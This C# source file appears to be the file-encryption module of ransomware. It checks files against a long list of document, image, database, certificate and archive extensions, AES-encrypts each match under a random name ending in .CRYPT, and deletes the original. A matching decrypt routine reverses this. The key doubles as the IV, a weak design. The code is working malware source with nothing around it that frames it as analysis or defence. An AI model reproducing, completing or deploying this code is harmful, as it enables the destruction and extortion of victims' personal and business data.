using System;

using System.Collections.Generic;

using System.IO;

using System.Security.Cryptography;

using System.Text;

​

namespace crypt

{

    public class CryptoMod

    {

        public static string getRandomFileName()

        {

            string retn = "";

            string pair = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~=!@#$%^&*()";

            Random rnd = new Random();

            for (int i = rnd.Next(7, 13); i-- > 0; ) retn += pair[rnd.Next(pair.Length)];

            return retn;

        }

        public static bool encryptFile(string orgFile, byte[] aesKey)

        {

            try

            {

                var extNameList = ".png .3dm .3g2 .3gp .aaf .accdb .aep .aepx .aet .ai .aif .arw " +

                                  ".as .as3 .asf .asp .asx .avi .bay .bmp .cdr .cer .class .cpp " +

                                  ".cr2 .crt .crw .cs .csv .db .dbf .dcr .der .dng .doc .docb .docm " +

                                  ".docx .dot .dotm .dotx .dwg .dxf .dxg .efx .eps .erf .fla .flv " +

                                  ".idml .iff .indb .indd .indl .indt .inx .jar .java .jpeg .jpg " +

                                  ".kdc .m3u .m3u8 .m4u .max .mdb .mdf .mef .mid .mov .mp3 .mp4 " +

                                  ".mpa .mpeg .mpg .mrw .msg .nef .nrw .odb .odc .odm .odp .ods .odt " +

                                  ".orf .p12 .p7b .p7c .pdb .pdf .pef .pem .pfx .php .plb .pmd .pot " +

                                  ".potm .potx .ppam .ppj .pps .ppsm .ppsx .ppt .pptm .pptx .prel " +

                                  ".prproj .ps .psd .pst .ptx .r3d .ra .raf .rar .raw .rb .rtf " +

                                  ".rw2 .rwl .sdf .sldm .sldx .sql .sr2 .srf .srw .svg .swf .tif " +

                                  ".vcf .vob .wav .wb2 .wma .wmv .wpd .wps .x3f .xla .xlam .xlk " +

                                  ".xll .xlm .xls .xlsb .xlsm .xlsx .xlt .xltm .xltx .xlw .xml .xqx .zip";

​

                string fileDir = new FileInfo(orgFile).DirectoryName + @"\";

                string fileFullName = new FileInfo(orgFile).Name;

                string extName = new FileInfo(orgFile).Extension.ToLower();

                if (!extNameList.Contains(extName) || extName == "") return false;

​

                Byte[] fileData = File.ReadAllBytes(orgFile);

                Byte[] fullNameArray = Encoding.UTF8.GetBytes(fileFullName);

                if (fullNameArray.Length > 255) return false;//buffer only 256 bytes.

                Array.Resize(ref fileData, fileData.Length + 256);

                Array.ConstrainedCopy(fullNameArray, 0, fileData, fileData.Length - 256, fullNameArray.Length);

                File.WriteAllBytes(fileDir + getRandomFileName() + ".CRYPT", AES.encrypt(fileData, aesKey));

                File.Delete(orgFile);

                System.Threading.Thread.Sleep(500);

                return true;

            }

            catch (Exception)

            {

            }

            return false;

        }

        public static bool decryptFile(string orgFile, Byte[] aesKey)

        {

​

            try

            {

                string fileDir = new FileInfo(orgFile).DirectoryName + @"\";

                string extName = new FileInfo(orgFile).Extension;

                string fileName = new FileInfo(orgFile).Name.Split('.')[0];

                if (extName != ".CRYPT") return false;

​

                Byte[] fileData = File.ReadAllBytes(orgFile);

                fileData = AES.decrypt(fileData, aesKey);

                Byte[] fileOrgExtName = new byte[256];

                Array.ConstrainedCopy(fileData, fileData.Length - 256, fileOrgExtName,0, 256);

                string fullName = Encoding.UTF8.GetString(fileOrgExtName);

                fullName = fullName.TrimEnd('\x00');

                Array.Resize(ref fileData, fileData.Length - 256);

​

                File.WriteAllBytes(fileDir + fullName, fileData);

                File.Delete(orgFile);

                return true;

            }

            catch (Exception)

            {

            }

            return false;

        }

    }

    public class AES

    {

        //http://boywhy.blogspot.tw/2015/04/c-aes.html

        public static Byte[] generateKey()

        {

            var AESObject = new RijndaelManaged() { KeySize = 128 };

            AESObject.GenerateKey();

            return AESObject.Key;

        }

        public static Byte[] encrypt(Byte[] data, Byte[] key)

        { 

            RijndaelManaged provider_AES = new RijndaelManaged();

            provider_AES.KeySize = 128;

            ICryptoTransform encrypt_AES = provider_AES.CreateEncryptor(key, key);

            byte[] output = encrypt_AES.TransformFinalBlock(data, 0, data.Length);

            return output;

        }

​

        public static Byte[] decrypt(byte[] byte_ciphertext, Byte[] key)

        {

            RijndaelManaged provider_AES = new RijndaelManaged();

            provider_AES.KeySize = 128;

            ICryptoTransform decrypt_AES = provider_AES.CreateDecryptor(key, key); 

            byte[] byte_secretContent = decrypt_AES.TransformFinalBlock(byte_ciphertext, 0, byte_ciphertext.Length);

            return byte_secretContent;

        }  

    }

}